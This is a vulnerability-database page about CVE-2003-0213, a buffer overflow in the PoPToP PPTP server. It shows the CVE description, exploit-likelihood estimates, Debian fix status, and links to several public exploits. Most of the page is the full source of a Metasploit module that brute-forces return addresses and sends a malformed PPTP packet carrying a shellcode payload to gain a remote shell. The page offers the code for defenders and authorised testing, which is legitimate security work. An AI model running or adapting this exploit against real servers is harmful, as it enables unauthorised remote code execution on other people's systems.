CVE-2003-0213

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

ctrlpacket.c in PoPToP PPTP server before 1.1.4-b3 allows remote attackers to cause a denial of service via a length field of 0 or 1, which causes a negative value to be fed into a read operation, leading to a buffer overflow.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16845 remote linux verified ruby · 4 KB
Metasploit · 2010-11-23

PoPToP - Negative Read Overflow (Metasploit)

ruby exploit Source: Exploit-DB
##
# $Id: poptop_negative_read.rb 11114 2010-11-23 18:12:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Poptop Negative Read Overflow',
			'Description'    => %q{
					This is an exploit for the Poptop negative read overflow.  This will
				work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
				currently do not have a good way to detect Poptop versions.

				The server will by default only allow 4 concurrent manager processes
				(what we run our code in), so you could have a max of 4 shells at once.

				Using the current method of exploitation, our socket will be closed
				before we have the ability to run code, preventing the use of Findsock.
			},
			'Author'         => 'spoonm',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11114 $',
			'References'     =>
				[
					['CVE', '2003-0213'],
					['OSVDB', '3293'],
					['URL',   'http://securityfocus.com/archive/1/317995'],
					['URL',   'http://www.freewebs.com/blightninjas/'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					# Payload space is dynamically determined
					'MinNops'         => 16,
					'StackAdjustment' => -1088,
					'Compat'          =>
						{
							'ConnectionType' => '-find',
						}
				},
			'SaveRegisters'  => [ 'esp' ],
			'Platform'       => 'linux',
			'Arch'           => ARCH_X86,
			'Targets'        =>
				[
					['Linux Bruteforce',
						{ 'Bruteforce' =>
							{
								'Start'  => { 'Ret' => 0xbffffa00 },
								'Stop'   => { 'Ret' => 0xbffff000 },
								'Step'   => 0
							}
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 9 2003'))

		register_options(
			[
				Opt::RPORT(1723)
			], self.class)

		register_advanced_options(
			[
				OptInt.new("PreReturnLength", [ true, "Space before we hit the return address.  Affects PayloadSpace.", 220 ]),
				OptInt.new("RetLength",       [ true, "Length of returns after payload.", 32 ]),
				OptInt.new("ExtraSpace",      [ true, "The exploit builds two protocol frames, the header frame and the control frame. ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data (these should eventually be filled in to look like a real client, ie windows).  I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]),
				OptString.new("Hostname",     [ false, "PPTP Packet hostname", '' ]),
				OptString.new("Vendor",       [ true, "PPTP Packet vendor", 'Microsoft Windows NT' ]),
			], self.class)
	end

	# Dynamic payload space calculation
	def payload_space(explicit_target = nil)
		datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i
	end

	def build_packet(length)
		[length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') +
			[1,0].pack('cc') +
			[0].pack('n') +
			[1,1,0,2600].pack('NNnn') +
			datastore['Hostname'].ljust(64, "\x00") +
			datastore['Vendor'].ljust(64, "\x00")
	end

	def check
		connect
		sock.put(build_packet(156))
		res = sock.get_once

		if res and res =~ /MoretonBay/
			return CheckCode::Detected
		end

		return CheckCode::Safe
	end

	def brute_exploit(addrs)
		connect

		print_status("Trying #{"%.8x" % addrs['Ret']}...")

		# Construct the evil length packet
		packet =
			build_packet(1) +
			payload.encoded +
			([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4))

		sock.put(packet)

		handler
		disconnect
	end

end
EDB-9952 remote linux verified
spoonm · 2003-04-09

PoPToP < 1.1.3-b3/1.1.3-20030409 - Negative Read Overflow (Metasploit)

Source code queued for fetch — refresh in a moment.
EDB-22479 remote linux verified
John Leach · 2003-04-09

PoPToP PPTP 1.0/1.1.x - Negative 'read()' Argument Remote Buffer Overflow

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EDB-19 remote linux verified
blightninjas · 2003-04-25

PoPToP PPTP 1.1.4-b3 - 'poptop-sane.c' Remote Command Execution

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EDB-16 remote linux verified
einstein · 2003-04-18

PoPToP PPTP 1.1.4-b3 - Remote Command Execution

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Metasploit modules

Poptop Negative Read Overflow
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OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1.1.4-0.b3.2
sid Fixed 1.1.4-0.b3.2
forky Fixed 1.1.4-0.b3.2
bullseye Fixed 1.1.4-0.b3.2
bookworm Fixed 1.1.4-0.b3.2

References

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